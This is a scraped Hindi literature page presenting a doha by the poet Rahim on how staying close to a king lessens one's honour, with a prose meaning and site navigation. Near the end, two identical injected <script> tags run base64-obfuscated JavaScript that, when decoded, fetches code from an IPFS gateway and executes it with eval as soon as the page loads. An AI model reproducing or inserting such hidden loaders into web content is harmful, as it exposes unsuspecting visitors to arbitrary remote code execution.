एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

आदर घटै नरेस ढिग -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

आदर घटै नरेस ढिग बसे रहै कछु नाहीं ।
जो ‘रहीम’ कोटिन मिलै, धिक जीवन जग माहीं ॥

अर्थ

राजा के बहुत समीप जाने से आदर कम हो जाता है। और साथ रहने से कुछ भी मिलने का नही। बिना आदर के करोड़ों का धन मिल जाए, तो संसार में धिक्कार है ऐसे जीवन को।


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>